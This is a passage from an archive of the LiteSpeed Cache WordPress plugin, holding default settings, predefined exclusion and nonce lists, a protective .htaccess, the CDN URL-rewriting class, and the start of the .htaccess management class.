	"discuss-avatar_cache_ttl": "604800",
	"optm-localize": "",
	"optm-localize_domains": "### Popular scripts ###\nhttps://platform.twitter.com/widgets.js\nhttps://connect.facebook.net/en_US/fbevents.js",
	"media-lazy": "",
	"media-lazy_placeholder": "",
	"media-placeholder_resp": "",
	"media-placeholder_resp_color": "#cfd4db",
	"media-placeholder_resp_svg": "<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"{width}\" height=\"{height}\" viewBox=\"0 0 {width} {height}\"><rect width=\"100%\" height=\"100%\" style=\"fill:{color};fill-opacity: 0.1;\"/></svg>",
	"media-lqip": "",
	"media-lqip_qual": "4",
	"media-lqip_min_w": "150",
	"media-lqip_min_h": "150",
	"media-placeholder_resp_async": "1",
	"media-iframe_lazy": "",
	"media-add_missing_sizes": "",
	"media-lazy_exc": "",
	"media-lazy_cls_exc": "wmu-preview-img",
	"media-lazy_parent_cls_exc": "",
	"media-iframe_lazy_cls_exc": "",
	"media-iframe_lazy_parent_cls_exc": "",
	"media-lazy_uri_exc": "",
	"media-lqip_exc": "",
	"media-vpi": "",
	"media-vpi_cron": "",
	"img_optm-auto": "",
	"img_optm-ori": "1",
	"img_optm-rm_bkup": "",
	"img_optm-webp": "",
	"img_optm-lossless": "",
	"img_optm-exif": "1",
	"img_optm-webp_attr": "img.src\ndiv.data-thumb\nimg.data-src\nimg.data-lazyload\ndiv.data-large_image\nimg.retina_logo_url\ndiv.data-parallax-image\ndiv.data-vc-parallax-image\nvideo.poster",
	"img_optm-webp_replace_srcset": "",
	"img_optm-jpg_quality": "82",
	"crawler": "",
	"crawler-crawl_interval": "302400",
	"crawler-load_limit": "1",
	"crawler-sitemap": "",
	"crawler-roles": "",
	"crawler-cookies": "",
	"misc-heartbeat_front": "",
	"misc-heartbeat_front_ttl": "60",
	"misc-heartbeat_back": "",
	"misc-heartbeat_back_ttl": "60",
	"misc-heartbeat_editor": "",
	"misc-heartbeat_editor_ttl": "15",
	"cdn": "",
	"cdn-attr": ".src\n.data-src\n.href\n.poster\nsource.srcset",
	"cdn-ori": "",
	"cdn-ori_dir": "",
	"cdn-exc": "",
	"cdn-quic": "",
	"cdn-quic_email": "",
	"cdn-quic_key": "",
	"cdn-cloudflare": "",
	"cdn-cloudflare_email": "",
	"cdn-cloudflare_key": "",
	"cdn-cloudflare_name": "",
	"cdn-cloudflare_zone": "",
	"cdn-cloudflare_clear": "",
	"cdn-mapping": {
		"url": [""],
		"inc_js": ["1"],
		"inc_css": ["1"],
		"inc_img": ["1"],
		"filetype": [".aac\n.css\n.eot\n.gif\n.jpeg\n.jpg\n.js\n.less\n.mp3\n.mp4\n.ogg\n.otf\n.pdf\n.png\n.svg\n.ttf\n.webp\n.woff\n.woff2"]
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/js_excludes.txt000064400000002057151031165260020255 0ustar00# Predefined list for excluding JS files or inline JS codes #
# Comment can use `# `(there is a space following), or `##`, can use both as a new line or end of one line
# If you want to predefine new items, please send a Pull Request to https://github.com/litespeedtech/lscache_wp/blob/dev/data/js_excludes.txt We will merge into next plugin release

# JS file URL excludes
maps-api-ssl.google.com
maps.google.com/maps
maps.googleapis.com
google.com/recaptcha
google-analytics.com/analytics.js
stats.wp.com
js.stripe.com
paypal.com/sdk/js
cse.google.com/cse.js
/syntaxhighlighter/
spotlight-social-photo-feeds ## https://docs.spotlightwp.com/article/757-autoptimize-compatibility @Tobolo
userway.org

# Inline JS excludes
document.write
gtag
gtm
dataLayer
adsbygoogle

block_tdi_ ## Theme: Newspaper by tagDiv.com

data-view-breakpoint-pointer ## Plugin: The Events Calendar by Modern Tribe (https://theeventscalendar.com/)

wp-json/wp-statistics ## WP Statistics

## JetPack Stats
stats.wp.com/e-
_stq

# Cloudflare turnstile - Tobolo
turnstile
challenges.cloudflare.comlitespeed-wp-plugin/7.5.0.1/litespeed-cache/data/cache_nocacheable.txt000064400000000627151031165260021315 0ustar00# Predefined list for Do Not Cache URIs #
# Comment can use `# `(there is a space following), or `##`, can use both as a new line or end of one line
# If you want to predefine new items, please send a Pull Request to https://github.com/litespeedtech/lscache_wp/blob/dev/data/cache_nocacheable.txt We will merge into next plugin release


# WP v6.6 Official Site Editor (Appearance >> Editor)
^/wp-json/wp/v2litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/.htaccess000064400000000151151031165260016773 0ustar00Order Deny,Allow
Deny from All

<IfModule LiteSpeed>
RewriteEngine on
RewriteRule .* - [F,L]
</IfModule>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/data/esi.nonces.txt000064400000003173151031165260020011 0ustar00## To predefine more list, please submit a PR to https://github.com/litespeedtech/lscache_wp/blob/dev/data/esi.nonces.txt
## 	 Comment Format:
## 		1. `# this is comment`
## 		2. `##this is comment`


## Predefined elsewhere so not needed here:

## WordPress core
# stats_nonce
# subscribe_nonce

# Divi Theme Builder
# et-pb-contact-form-submit
# et_frontend_nonce
# et_ab_log_nonce

# WooCommerce PayPal Checkout
# _wc_ppec_update_shipping_costs_nonce private
# _wc_ppec_start_checkout_nonce private
# _wc_ppec_generate_cart_nonce private

# User Switching
# switch_to_olduser_'<ID>'

# Caldera Forms
# caldera_forms_front_*


## Predefined list of ESI nonces:

# WordPress REST nonce
wp_rest

# CM Registration Pro
cmreg_registration_nonce private
role_nonce private

# WooCommerce Delivery Area Pro #16843635
wdap-call-nonce private

# SEOpress Cookie Consent
seopress_cookies_user_consent_nonce

# SearchWP Metrics
swpmtxnonce

# The Events Calendar
_tec_view_rest_nonce_primary
_tec_view_rest_nonce_secondary

# wpDataTables #986128
wdt*

# WPBakery gallery
_vcnonce
data-vc-public-nonce

# Extra Theme
rating_nonce
timeline_nonce
blog_feed_nonce

# WS Form
wsf_post

# Easy Digital Download (EDD)
edd-* private
edd_* private

# WP Menu Cart
wpmenucart private

# Advanced Custom Fields + Advanced Forms
acf_nonce
af_form_nonce
af_submission_*

# Woo nonce
woocommerce-login

# Premium Addons for Elementor
pa-blog-widget-nonce

# WPUF User Frontend
wpuf* private

# MetForm
form_nonce

# Mobile hamburger menu - jetMenu #306983 #163710 PR#419
tgmpa-*
bulk-*

# WP Data Access
wpda-*

# Elementor
elementor-pro-frontend
elementor-conversion-center-clicklitespeed-wp-plugin/7.5.0.1/litespeed-cache/data/ccss_whitelist.txt000064400000000715151031165260020773 0ustar00# Predefined list for CCSS whitelist #
# Comment can use `# `(there is a space following), or `##`, can use both as a new line or end of one line
# If you want to predefine new items, please send a Pull Request to https://github.com/litespeedtech/lscache_wp/blob/dev/data/ccss_whitelist.txt We will merge into next plugin release


############# DoBar compatibility #############
.pace-inactive

############# DIVI ################
.et_pb_number_counter.active
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/cdn.cls.php000064400000032165151031165260017122 0ustar00<?php
// phpcs:ignoreFile
/**
 * The CDN class.
 *
 * @since       1.2.3
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class CDN extends Root {

	const BYPASS = 'LITESPEED_BYPASS_CDN';

	private $content;

	private $_cfg_cdn;
	private $_cfg_url_ori;
	private $_cfg_ori_dir;
	private $_cfg_cdn_mapping = array();
	private $_cfg_cdn_exclude;

	private $cdn_mapping_hosts = array();

	/**
	 * Init
	 *
	 * @since  1.2.3
	 */
	public function init() {
		Debug2::debug2('[CDN] init');

		if (defined(self::BYPASS)) {
			Debug2::debug2('CDN bypass');
			return;
		}

		if (!Router::can_cdn()) {
			if (!defined(self::BYPASS)) {
				define(self::BYPASS, true);
			}
			return;
		}

		$this->_cfg_cdn = $this->conf(Base::O_CDN);
		if (!$this->_cfg_cdn) {
			if (!defined(self::BYPASS)) {
				define(self::BYPASS, true);
			}
			return;
		}

		$this->_cfg_url_ori = $this->conf(Base::O_CDN_ORI);
		// Parse cdn mapping data to array( 'filetype' => 'url' )
		$mapping_to_check = array( Base::CDN_MAPPING_INC_IMG, Base::CDN_MAPPING_INC_CSS, Base::CDN_MAPPING_INC_JS );
		foreach ($this->conf(Base::O_CDN_MAPPING) as $v) {
			if (!$v[Base::CDN_MAPPING_URL]) {
				continue;
			}
			$this_url  = $v[Base::CDN_MAPPING_URL];
			$this_host = parse_url($this_url, PHP_URL_HOST);
			// Check img/css/js
			foreach ($mapping_to_check as $to_check) {
				if ($v[$to_check]) {
					Debug2::debug2('[CDN] mapping ' . $to_check . ' -> ' . $this_url);

					// If filetype to url is one to many, make url be an array
					$this->_append_cdn_mapping($to_check, $this_url);

					if (!in_array($this_host, $this->cdn_mapping_hosts)) {
						$this->cdn_mapping_hosts[] = $this_host;
					}
				}
			}
			// Check file types
			if ($v[Base::CDN_MAPPING_FILETYPE]) {
				foreach ($v[Base::CDN_MAPPING_FILETYPE] as $v2) {
					$this->_cfg_cdn_mapping[Base::CDN_MAPPING_FILETYPE] = true;

					// If filetype to url is one to many, make url be an array
					$this->_append_cdn_mapping($v2, $this_url);

					if (!in_array($this_host, $this->cdn_mapping_hosts)) {
						$this->cdn_mapping_hosts[] = $this_host;
					}
				}
				Debug2::debug2('[CDN] mapping ' . implode(',', $v[Base::CDN_MAPPING_FILETYPE]) . ' -> ' . $this_url);
			}
		}

		if (!$this->_cfg_url_ori || !$this->_cfg_cdn_mapping) {
			if (!defined(self::BYPASS)) {
				define(self::BYPASS, true);
			}
			return;
		}

		$this->_cfg_ori_dir = $this->conf(Base::O_CDN_ORI_DIR);
		// In case user customized upload path
		if (defined('UPLOADS')) {
			$this->_cfg_ori_dir[] = UPLOADS;
		}

		// Check if need preg_replace
		$this->_cfg_url_ori = Utility::wildcard2regex($this->_cfg_url_ori);

		$this->_cfg_cdn_exclude = $this->conf(Base::O_CDN_EXC);

		if (!empty($this->_cfg_cdn_mapping[Base::CDN_MAPPING_INC_IMG])) {
			// Hook to srcset
			if (function_exists('wp_calculate_image_srcset')) {
				add_filter('wp_calculate_image_srcset', array( $this, 'srcset' ), 999);
			}
			// Hook to mime icon
			add_filter('wp_get_attachment_image_src', array( $this, 'attach_img_src' ), 999);
			add_filter('wp_get_attachment_url', array( $this, 'url_img' ), 999);
		}

		if (!empty($this->_cfg_cdn_mapping[Base::CDN_MAPPING_INC_CSS])) {
			add_filter('style_loader_src', array( $this, 'url_css' ), 999);
		}

		if (!empty($this->_cfg_cdn_mapping[Base::CDN_MAPPING_INC_JS])) {
			add_filter('script_loader_src', array( $this, 'url_js' ), 999);
		}

		add_filter('litespeed_buffer_finalize', array( $this, 'finalize' ), 30);
	}

	/**
	 * Associate all filetypes with url
	 *
	 * @since  2.0
	 * @access private
	 */
	private function _append_cdn_mapping( $filetype, $url ) {
		// If filetype to url is one to many, make url be an array
		if (empty($this->_cfg_cdn_mapping[$filetype])) {
			$this->_cfg_cdn_mapping[$filetype] = $url;
		} elseif (is_array($this->_cfg_cdn_mapping[$filetype])) {
			// Append url to filetype
			$this->_cfg_cdn_mapping[$filetype][] = $url;
		} else {
			// Convert _cfg_cdn_mapping from string to array
			$this->_cfg_cdn_mapping[$filetype] = array( $this->_cfg_cdn_mapping[$filetype], $url );
		}
	}

	/**
	 * If include css/js in CDN
	 *
	 * @since  1.6.2.1
	 * @return bool true if included in CDN
	 */
	public function inc_type( $type ) {
		if ($type == 'css' && !empty($this->_cfg_cdn_mapping[Base::CDN_MAPPING_INC_CSS])) {
			return true;
		}

		if ($type == 'js' && !empty($this->_cfg_cdn_mapping[Base::CDN_MAPPING_INC_JS])) {
			return true;
		}

		return false;
	}

	/**
	 * Run CDN process
	 * NOTE: As this is after cache finalized, can NOT set any cache control anymore
	 *
	 * @since  1.2.3
	 * @access public
	 * @return  string The content that is after optimization
	 */
	public function finalize( $content ) {
		$this->content = $content;

		$this->_finalize();
		return $this->content;
	}

	/**
	 * Replace CDN url
	 *
	 * @since  1.2.3
	 * @access private
	 */
	private function _finalize() {
		if (defined(self::BYPASS)) {
			return;
		}

		Debug2::debug('CDN _finalize');

		// Start replacing img src
		if (!empty($this->_cfg_cdn_mapping[Base::CDN_MAPPING_INC_IMG])) {
			$this->_replace_img();
			$this->_replace_inline_css();
		}

		if (!empty($this->_cfg_cdn_mapping[Base::CDN_MAPPING_FILETYPE])) {
			$this->_replace_file_types();
		}
	}

	/**
	 * Parse all file types
	 *
	 * @since  1.2.3
	 * @access private
	 */
	private function _replace_file_types() {
		$ele_to_check = $this->conf(Base::O_CDN_ATTR);

		foreach ($ele_to_check as $v) {
			if (!$v || strpos($v, '.') === false) {
				Debug2::debug2('[CDN] replace setting bypassed: no . attribute ' . $v);
				continue;
			}

			Debug2::debug2('[CDN] replace attribute ' . $v);

			$v    = explode('.', $v);
			$attr = preg_quote($v[1], '#');
			if ($v[0]) {
				$pattern = '#<' . preg_quote($v[0], '#') . '([^>]+)' . $attr . '=([\'"])(.+)\g{2}#iU';
			} else {
				$pattern = '# ' . $attr . '=([\'"])(.+)\g{1}#iU';
			}

			preg_match_all($pattern, $this->content, $matches);

			if (empty($matches[$v[0] ? 3 : 2])) {
				continue;
			}

			foreach ($matches[$v[0] ? 3 : 2] as $k2 => $url) {
				// Debug2::debug2( '[CDN] check ' . $url );
				$postfix = '.' . pathinfo((string) parse_url($url, PHP_URL_PATH), PATHINFO_EXTENSION);
				if (!array_key_exists($postfix, $this->_cfg_cdn_mapping)) {
					// Debug2::debug2( '[CDN] non-existed postfix ' . $postfix );
					continue;
				}

				Debug2::debug2('[CDN] matched file_type ' . $postfix . ' : ' . $url);

				if (!($url2 = $this->rewrite($url, Base::CDN_MAPPING_FILETYPE, $postfix))) {
					continue;
				}

				$attr          = str_replace($url, $url2, $matches[0][$k2]);
				$this->content = str_replace($matches[0][$k2], $attr, $this->content);
			}
		}
	}

	/**
	 * Parse all images
	 *
	 * @since  1.2.3
	 * @access private
	 */
	private function _replace_img() {
		preg_match_all('#<img([^>]+?)src=([\'"\\\]*)([^\'"\s\\\>]+)([\'"\\\]*)([^>]*)>#i', $this->content, $matches);
		foreach ($matches[3] as $k => $url) {
			// Check if is a DATA-URI
			if (strpos($url, 'data:image') !== false) {
				continue;
			}

			if (!($url2 = $this->rewrite($url, Base::CDN_MAPPING_INC_IMG))) {
				continue;
			}

			$html_snippet  = sprintf('<img %1$s src=%2$s %3$s>', $matches[1][$k], $matches[2][$k] . $url2 . $matches[4][$k], $matches[5][$k]);
			$this->content = str_replace($matches[0][$k], $html_snippet, $this->content);
		}
	}

	/**
	 * Parse and replace all inline styles containing url()
	 *
	 * @since  1.2.3
	 * @access private
	 */
	private function _replace_inline_css() {
		Debug2::debug2('[CDN] _replace_inline_css', $this->_cfg_cdn_mapping);

		/**
		 * Excludes `\` from URL matching
		 *
		 * @see  #959152 - WordPress LSCache CDN Mapping causing malformed URLS
		 * @see  #685485
		 * @since 3.0
		 */
		preg_match_all('/url\((?![\'"]?data)[\'"]?(.+?)[\'"]?\)/i', $this->content, $matches);
		foreach ($matches[1] as $k => $url) {
			$url = str_replace(array( ' ', '\t', '\n', '\r', '\0', '\x0B', '"', "'", '&quot;', '&#039;' ), '', $url);

			// Parse file postfix
			$parsed_url = parse_url($url, PHP_URL_PATH);
			if (!$parsed_url) {
				continue;
			}

			$postfix = '.' . pathinfo($parsed_url, PATHINFO_EXTENSION);
			if (array_key_exists($postfix, $this->_cfg_cdn_mapping)) {
				Debug2::debug2('[CDN] matched file_type ' . $postfix . ' : ' . $url);
				if (!($url2 = $this->rewrite($url, Base::CDN_MAPPING_FILETYPE, $postfix))) {
					continue;
				}
			} elseif (in_array($postfix, array( 'jpg', 'jpeg', 'png', 'gif', 'svg', 'webp', 'avif' ))) {
				if (!($url2 = $this->rewrite($url, Base::CDN_MAPPING_INC_IMG))) {
					continue;
				}
			} else {
				continue;
			}

			$attr          = str_replace($matches[1][$k], $url2, $matches[0][$k]);
			$this->content = str_replace($matches[0][$k], $attr, $this->content);
		}

		Debug2::debug2('[CDN] _replace_inline_css done');
	}

	/**
	 * Hook to wp_get_attachment_image_src
	 *
	 * @since  1.2.3
	 * @since  1.7 Removed static from function
	 * @access public
	 * @param  array $img The URL of the attachment image src, the width, the height
	 * @return array
	 */
	public function attach_img_src( $img ) {
		if ($img && ($url = $this->rewrite($img[0], Base::CDN_MAPPING_INC_IMG))) {
			$img[0] = $url;
		}
		return $img;
	}

	/**
	 * Try to rewrite one URL with CDN
	 *
	 * @since  1.7
	 * @access public
	 */
	public function url_img( $url ) {
		if ($url && ($url2 = $this->rewrite($url, Base::CDN_MAPPING_INC_IMG))) {
			$url = $url2;
		}
		return $url;
	}

	/**
	 * Try to rewrite one URL with CDN
	 *
	 * @since  1.7
	 * @access public
	 */
	public function url_css( $url ) {
		if ($url && ($url2 = $this->rewrite($url, Base::CDN_MAPPING_INC_CSS))) {
			$url = $url2;
		}
		return $url;
	}

	/**
	 * Try to rewrite one URL with CDN
	 *
	 * @since  1.7
	 * @access public
	 */
	public function url_js( $url ) {
		if ($url && ($url2 = $this->rewrite($url, Base::CDN_MAPPING_INC_JS))) {
			$url = $url2;
		}
		return $url;
	}

	/**
	 * Hook to replace WP responsive images
	 *
	 * @since  1.2.3
	 * @since  1.7 Removed static from function
	 * @access public
	 * @param  array $srcs
	 * @return array
	 */
	public function srcset( $srcs ) {
		if ($srcs) {
			foreach ($srcs as $w => $data) {
				if (!($url = $this->rewrite($data['url'], Base::CDN_MAPPING_INC_IMG))) {
					continue;
				}
				$srcs[$w]['url'] = $url;
			}
		}
		return $srcs;
	}

	/**
	 * Replace URL to CDN URL
	 *
	 * @since  1.2.3
	 * @access public
	 * @param  string $url
	 * @return string        Replaced URL
	 */
	public function rewrite( $url, $mapping_kind, $postfix = false ) {
		Debug2::debug2('[CDN] rewrite ' . $url);
		$url_parsed = parse_url($url);

		if (empty($url_parsed['path'])) {
			Debug2::debug2('[CDN] -rewrite bypassed: no path');
			return false;
		}

		// Only images under wp-cotnent/wp-includes can be replaced
		$is_internal_folder = Utility::str_hit_array($url_parsed['path'], $this->_cfg_ori_dir);
		if (!$is_internal_folder) {
			Debug2::debug2('[CDN] -rewrite failed: path not match: ' . LSCWP_CONTENT_FOLDER);
			return false;
		}

		// Check if is external url
		if (!empty($url_parsed['host'])) {
			if (!Utility::internal($url_parsed['host']) && !$this->_is_ori_url($url)) {
				Debug2::debug2('[CDN] -rewrite failed: host not internal');
				return false;
			}
		}

		$exclude = Utility::str_hit_array($url, $this->_cfg_cdn_exclude);
		if ($exclude) {
			Debug2::debug2('[CDN] -abort excludes ' . $exclude);
			return false;
		}

		// Fill full url before replacement
		if (empty($url_parsed['host'])) {
			$url = Utility::uri2url($url);
			Debug2::debug2('[CDN] -fill before rewritten: ' . $url);

			$url_parsed = parse_url($url);
		}

		$scheme = !empty($url_parsed['scheme']) ? $url_parsed['scheme'] . ':' : '';
		if ($scheme) {
			// Debug2::debug2( '[CDN] -scheme from url: ' . $scheme );
		}

		// Find the mapping url to be replaced to
		if (empty($this->_cfg_cdn_mapping[$mapping_kind])) {
			return false;
		}
		if ($mapping_kind !== Base::CDN_MAPPING_FILETYPE) {
			$final_url = $this->_cfg_cdn_mapping[$mapping_kind];
		} else {
			// select from file type
			$final_url = $this->_cfg_cdn_mapping[$postfix];
		}

		// If filetype to url is one to many, need to random one
		if (is_array($final_url)) {
			$final_url = $final_url[array_rand($final_url)];
		}

		// Now lets replace CDN url
		foreach ($this->_cfg_url_ori as $v) {
			if (strpos($v, '*') !== false) {
				$url = preg_replace('#' . $scheme . $v . '#iU', $final_url, $url);
			} else {
				$url = str_replace($scheme . $v, $final_url, $url);
			}
		}
		Debug2::debug2('[CDN] -rewritten: ' . $url);

		return $url;
	}

	/**
	 * Check if is original URL of CDN or not
	 *
	 * @since  2.1
	 * @access private
	 */
	private function _is_ori_url( $url ) {
		$url_parsed = parse_url($url);

		$scheme = !empty($url_parsed['scheme']) ? $url_parsed['scheme'] . ':' : '';

		foreach ($this->_cfg_url_ori as $v) {
			$needle = $scheme . $v;
			if (strpos($v, '*') !== false) {
				if (preg_match('#' . $needle . '#iU', $url)) {
					return true;
				}
			} elseif (strpos($url, $needle) === 0) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Check if the host is the CDN internal host
	 *
	 * @since  1.2.3
	 */
	public static function internal( $host ) {
		if (defined(self::BYPASS)) {
			return false;
		}

		$instance = self::cls();

		return in_array($host, $instance->cdn_mapping_hosts); // todo: can add $this->_is_ori_url() check in future
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/htaccess.cls.php000064400000060002151031165260020142 0ustar00<?php
// phpcs:ignoreFile

/**
 * The htaccess rewrite rule operation class
 *
 * @since      1.0.0
 * @package    LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Htaccess extends Root {

	private $frontend_htaccess          = null;
	private $_default_frontend_htaccess = null;
	private $backend_htaccess           = null;
	private $_default_backend_htaccess  = null;
	private $theme_htaccess             = null; // Not used yet
	private $frontend_htaccess_readable = false;
	private $frontend_htaccess_writable = false;
	private $backend_htaccess_readable  = false;
	private $backend_htaccess_writable  = false;
	private $theme_htaccess_readable    = false;
	private $theme_htaccess_writable    = false;
	private $__rewrite_on;

	const LS_MODULE_START            = '<IfModule LiteSpeed>';
	const EXPIRES_MODULE_START       = '<IfModule mod_expires.c>';
	const LS_MODULE_END              = '</IfModule>';
	const LS_MODULE_REWRITE_START    = '<IfModule mod_rewrite.c>';
	const REWRITE_ON                 = 'RewriteEngine on';
	const LS_MODULE_DONOTEDIT        = '## LITESPEED WP CACHE PLUGIN - Do not edit the contents of this block! ##';
	const MARKER                     = 'LSCACHE';
	const MARKER_NONLS               = 'NON_LSCACHE';
	const MARKER_LOGIN_COOKIE        = '### marker LOGIN COOKIE';
	const MARKER_ASYNC               = '### marker ASYNC';
	const MARKER_CRAWLER             = '### marker CRAWLER';
	const MARKER_MOBILE              = '### marker MOBILE';
	const MARKER_NOCACHE_COOKIES     = '### marker NOCACHE COOKIES';
	const MARKER_NOCACHE_USER_AGENTS = '### marker NOCACHE USER AGENTS';
	const MARKER_CACHE_RESOURCE      = '### marker CACHE RESOURCE';
	const MARKER_BROWSER_CACHE       = '### marker BROWSER CACHE';
	const MARKER_MINIFY              = '### marker MINIFY';
	const MARKER_CORS                = '### marker CORS';
	const MARKER_WEBP                = '### marker WEBP';
	const MARKER_DROPQS              = '### marker DROPQS';
	const MARKER_START               = ' start ###';
	const MARKER_END                 = ' end ###';

	/**
	 * Initialize the class and set its properties.
	 *
	 * @since    1.0.7
	 */
	public function __construct() {
		$this->_path_set();
		$this->_default_frontend_htaccess = $this->frontend_htaccess;
		$this->_default_backend_htaccess  = $this->backend_htaccess;

		$frontend_htaccess = defined('LITESPEED_CFG_HTACCESS') ? constant('LITESPEED_CFG_HTACCESS') : false;
		if ($frontend_htaccess && substr($frontend_htaccess, -10) === '/.htaccess') {
			$this->frontend_htaccess = $frontend_htaccess;
		}
		$backend_htaccess = defined('LITESPEED_CFG_HTACCESS_BACKEND') ? constant('LITESPEED_CFG_HTACCESS_BACKEND') : false;
		if ($backend_htaccess && substr($backend_htaccess, -10) === '/.htaccess') {
			$this->backend_htaccess = $backend_htaccess;
		}

		// Filter for frontend&backend htaccess path
		$this->frontend_htaccess = apply_filters('litespeed_frontend_htaccess', $this->frontend_htaccess);
		$this->backend_htaccess  = apply_filters('litespeed_backend_htaccess', $this->backend_htaccess);

		clearstatcache();

		// frontend .htaccess privilege
		$test_permissions = file_exists($this->frontend_htaccess) ? $this->frontend_htaccess : dirname($this->frontend_htaccess);
		if (is_readable($test_permissions)) {
			$this->frontend_htaccess_readable = true;
		}
		if (is_writable($test_permissions)) {
			$this->frontend_htaccess_writable = true;
		}

		$this->__rewrite_on = array(
			self::REWRITE_ON,
			'CacheLookup on',
			'RewriteRule .* - [E=Cache-Control:no-autoflush]',
			'RewriteRule ' . preg_quote(LITESPEED_DATA_FOLDER) . '/debug/.*\.log$ - [F,L]',
			'RewriteRule ' . preg_quote(self::CONF_FILE) . ' - [F,L]',
		);

		// backend .htaccess privilege
		if ($this->frontend_htaccess === $this->backend_htaccess) {
			$this->backend_htaccess_readable = $this->frontend_htaccess_readable;
			$this->backend_htaccess_writable = $this->frontend_htaccess_writable;
		} else {
			$test_permissions = file_exists($this->backend_htaccess) ? $this->backend_htaccess : dirname($this->backend_htaccess);
			if (is_readable($test_permissions)) {
				$this->backend_htaccess_readable = true;
			}
			if (is_writable($test_permissions)) {
				$this->backend_htaccess_writable = true;
			}
		}
	}

	/**
	 * Get if htaccess file is readable
	 *
	 * @since 1.1.0
	 * @return string
	 */
	private function _readable( $kind = 'frontend' ) {
		if ($kind === 'frontend') {
			return $this->frontend_htaccess_readable;
		}
		if ($kind === 'backend') {
			return $this->backend_htaccess_readable;
		}
	}

	/**
	 * Get if htaccess file is writable
	 *
	 * @since 1.1.0
	 * @return string
	 */
	public function writable( $kind = 'frontend' ) {
		if ($kind === 'frontend') {
			return $this->frontend_htaccess_writable;
		}
		if ($kind === 'backend') {
			return $this->backend_htaccess_writable;
		}
	}

	/**
	 * Get frontend htaccess path
	 *
	 * @since 1.1.0
	 * @return string
	 */
	public static function get_frontend_htaccess( $show_default = false ) {
		if ($show_default) {
			return self::cls()->_default_frontend_htaccess;
		}
		return self::cls()->frontend_htaccess;
	}

	/**
	 * Get backend htaccess path
	 *
	 * @since 1.1.0
	 * @return string
	 */
	public static function get_backend_htaccess( $show_default = false ) {
		if ($show_default) {
			return self::cls()->_default_backend_htaccess;
		}
		return self::cls()->backend_htaccess;
	}

	/**
	 * Check to see if .htaccess exists starting at $start_path and going up directories until it hits DOCUMENT_ROOT.
	 *
	 * As dirname() strips the ending '/', paths passed in must exclude the final '/'
	 *
	 * @since 1.0.11
	 * @access private
	 */
	private function _htaccess_search( $start_path ) {
		while (!file_exists($start_path . '/.htaccess')) {
			if ($start_path === '/' || !$start_path) {
				return false;
			}

			if (!empty($_SERVER['DOCUMENT_ROOT']) && wp_normalize_path($start_path) === wp_normalize_path($_SERVER['DOCUMENT_ROOT'])) {
				return false;
			}

			if (dirname($start_path) === $start_path) {
				return false;
			}

			$start_path = dirname($start_path);
		}

		return $start_path;
	}

	/**
	 * Set the path class variables.
	 *
	 * @since 1.0.11
	 * @access private
	 */
	private function _path_set() {
		$frontend                 = Router::frontend_path();
		$frontend_htaccess_search = $this->_htaccess_search($frontend); // The existing .htaccess path to be used for frontend .htaccess
		$this->frontend_htaccess  = ($frontend_htaccess_search ?: $frontend) . '/.htaccess';

		$backend = realpath(ABSPATH); // /home/user/public_html/backend/
		if ($frontend == $backend) {
			$this->backend_htaccess = $this->frontend_htaccess;
			return;
		}

		// Backend is a different path
		$backend_htaccess_search = $this->_htaccess_search($backend);
		// Found affected .htaccess
		if ($backend_htaccess_search) {
			$this->backend_htaccess = $backend_htaccess_search . '/.htaccess';
			return;
		}

		// Frontend path is the parent of backend path
		if (stripos($backend, $frontend . '/') === 0) {
			// backend use frontend htaccess
			$this->backend_htaccess = $this->frontend_htaccess;
			return;
		}

		$this->backend_htaccess = $backend . '/.htaccess';
	}

	/**
	 * Get corresponding htaccess path
	 *
	 * @since 1.1.0
	 * @param  string $kind Frontend or backend
	 * @return string       Path
	 */
	public function htaccess_path( $kind = 'frontend' ) {
		switch ($kind) {
			case 'backend':
            $path = $this->backend_htaccess;
				break;

			case 'frontend':
			default:
            $path = $this->frontend_htaccess;
				break;
		}
		return $path;
	}

	/**
	 * Get the content of the rules file.
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since 1.0.4
	 * @since  2.9 Used exception for failed reading
	 * @access public
	 */
	public function htaccess_read( $kind = 'frontend' ) {
		$path = $this->htaccess_path($kind);

		if (!$path || !file_exists($path)) {
			return "\n";
		}

		if (!$this->_readable($kind)) {
			Error::t('HTA_R');
		}

		$content = File::read($path);
		if ($content === false) {
			Error::t('HTA_GET');
		}

		// Remove ^M characters.
		$content = str_ireplace("\x0D", '', $content);
		return $content;
	}

	/**
	 * Try to backup the .htaccess file if we didn't save one before.
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since 1.0.10
	 * @access private
	 */
	private function _htaccess_backup( $kind = 'frontend' ) {
		$path = $this->htaccess_path($kind);

		if (!file_exists($path)) {
			return;
		}

		if (file_exists($path . '.bk')) {
			return;
		}

		$res = copy($path, $path . '.bk');

		// Failed to backup, abort
		if (!$res) {
			Error::t('HTA_BK');
		}
	}

	/**
	 * Get mobile view rule from htaccess file
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since 1.1.0
	 */
	public function current_mobile_agents() {
		$rules = $this->_get_rule_by(self::MARKER_MOBILE);
		if (!isset($rules[0])) {
			Error::t('HTA_DNF', self::MARKER_MOBILE);
		}

		$rule = trim($rules[0]);
		// 'RewriteCond %{HTTP_USER_AGENT} ' . Utility::arr2regex( $cfg[ $id ], true ) . ' [NC]';
		$match = substr($rule, strlen('RewriteCond %{HTTP_USER_AGENT} '), -strlen(' [NC]'));

		if (!$match) {
			Error::t('HTA_DNF', __('Mobile Agent Rules', 'litespeed-cache'));
		}

		return $match;
	}

	/**
	 * Parse rewrites rule from the .htaccess file.
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since 1.1.0
	 * @access public
	 */
	public function current_login_cookie( $kind = 'frontend' ) {
		$rule = $this->_get_rule_by(self::MARKER_LOGIN_COOKIE, $kind);

		if (!$rule) {
			Error::t('HTA_DNF', self::MARKER_LOGIN_COOKIE);
		}

		if (strpos($rule, 'RewriteRule .? - [E=') !== 0) {
			Error::t('HTA_LOGIN_COOKIE_INVALID');
		}

		$rule_cookie = substr($rule, strlen('RewriteRule .? - [E='), -1);

		if (LITESPEED_SERVER_TYPE === 'LITESPEED_SERVER_OLS') {
			$rule_cookie = trim($rule_cookie, '"');
		}

		// Drop `Cache-Vary:`
